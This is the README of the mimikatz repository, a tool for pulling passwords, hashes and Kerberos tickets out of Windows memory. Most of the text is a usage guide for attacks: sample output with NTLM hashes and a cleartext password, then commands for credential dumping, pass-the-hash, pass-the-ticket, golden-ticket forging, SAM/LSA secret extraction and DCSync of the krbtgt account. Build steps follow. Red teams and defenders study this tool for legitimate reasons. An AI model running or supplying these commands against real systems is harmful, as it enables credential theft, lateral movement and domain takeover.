

GitHub - gentilkiwi/mimikatz: A little tool to play with Windows security

By gentilkiwi

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`mimikatz` is a tool I've made to learn C and make some experiments with Windows security.

It's now well known to extract plaintext passwords, hash, PIN code and kerberos tickets from memory.

`mimikatz` can also perform pass-the-hash, pass-the-ticket or build *Golden tickets*.

```
.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' https://blog.gentilkiwi.com/mimikatz           (oe.eo)
'#####'                with 13 modules * * */
```

```
mimikatz # privilege::debug
Privilege '20' OK
```

```
mimikatz # sekurlsa::logonpasswords
```

```
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain           : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
```

```
msv :
[00000003] Primary
* Username : Gentil Kiwi
* Domain   : vm-w7-ult-x
* LM       : d0e9aee149655a6075e4540af1f22d3b
* NTLM     : cc36cf7a8514893efccd332446158b1a
* SHA1    : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
tspkg :
* Username : Gentil Kiwi
* Domain   : vm-w7-ult-x
* Password : waza1234/
```

```
...
```

But that's not all! `Crypto` , `Terminal Server` , `Events` , ... lots of informations in the GitHub Wiki <https://github.com/gentilkiwi/mimikatz/wiki> or on <https://blog.gentilkiwi.com> (in French, yes).

If you don't want to build it, binaries are available on <https://github.com/gentilkiwi/mimikatz/releases>

Quick usage

sekurlsa

```
sekurlsa::logonpasswords
sekurlsa::tickets /export

sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
```

kerberos

```
kerberos::list /export
kerberos::ptt c:\chocolate.kirbi

kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /k
```

crypto

```
crypto::capi
crypto::cng

crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE

crypto::keys /export
crypto::keys /machine /export
```

vault & lsadump

```
vault::cred
vault::list

token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert
```

```
lsadump::dcsync /user:domain\krbtgt /domain:lab.local
```

Build

`mimikatz` is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:

- for `mimikatz` and `mimilib` : Visual Studio 2010, 2012 or 2013 for Desktop (**2013 Express for Desktop is free and supports x86 & x64** - <http://www.microsoft.com/download/details.aspx?id=44914>)
- for `mimikatz driver` , `mimilove` (and `ddk2003` platform) : Windows Driver Kit 7.1 (WinDDK) - <http://www.microsoft.com/download/details.aspx?id=11800>

`mimikatz` uses `SVN` for source control, but is now available with `GIT` too! You can use any tools you want to sync, even incorporated `GIT` in Visual Studio 2013 =)

Synchronize!

- GIT URL is : <https://github.com/gentilkiwi/mimikatz.git>
- SVN URL is : <https://github.com/gentilkiwi/mimikatz/trunk>
- ZIP file is : <https://github.com/gentilkiwi/mimikatz/archive/master.zip>

Build the solution

- After opening the solution, `Build / Build Solution` (you can change architecture)
- `mimikatz` is now built and ready to be used! (`Win32 / x64` even `ARM64` if you're lucky)
 - you can have error `MSB3073` about `_build_.cmd` and `mimidrv` , it's because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), but `mimikatz` and `mimilib` are OK.

ddk2003

With this optional MSBuild platform, you can use the WinDDK build tools, and the default `msvcrt` runtime (smaller binaries, no dependencies)

For this optional platform, Windows Driver Kit 7.1 (WinDDK) - <http://www.microsoft.com/download/details.aspx?id=11800> and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.

Follow instructions:

- <https://blog.gentilkiwi.com/programmation/executables-runtime-default-systeme>
- <https://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#windowsheader>

Continuous Integration

`mimikatz` project is available on AppVeyor - <https://ci.appveyor.com/project/gentilkiwi/mimikatz>

Its status is:  build passing

Licence

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mimikatz needs coffee to be developed:

- PayPal: <https://www.paypal.me/delphy/>

Author

- Benjamin DELPY `gentilkiwi`, you can contact me on Twitter (`@gentilkiwi`) or by mail (benjamin [at] gentilkiwi.com)
- DCSync and DCShadow functions in `lsadump` module were co-writed with Vincent LE TOUX, you can contact him by mail (vincent.letoux [at] gmail.com) or visit his website (<http://www.mysmartlogon.com>)

This is a **personal** development, please respect its philosophy and don't use it for bad things!

Source: <https://github.com/gentilkiwi/mimikatz>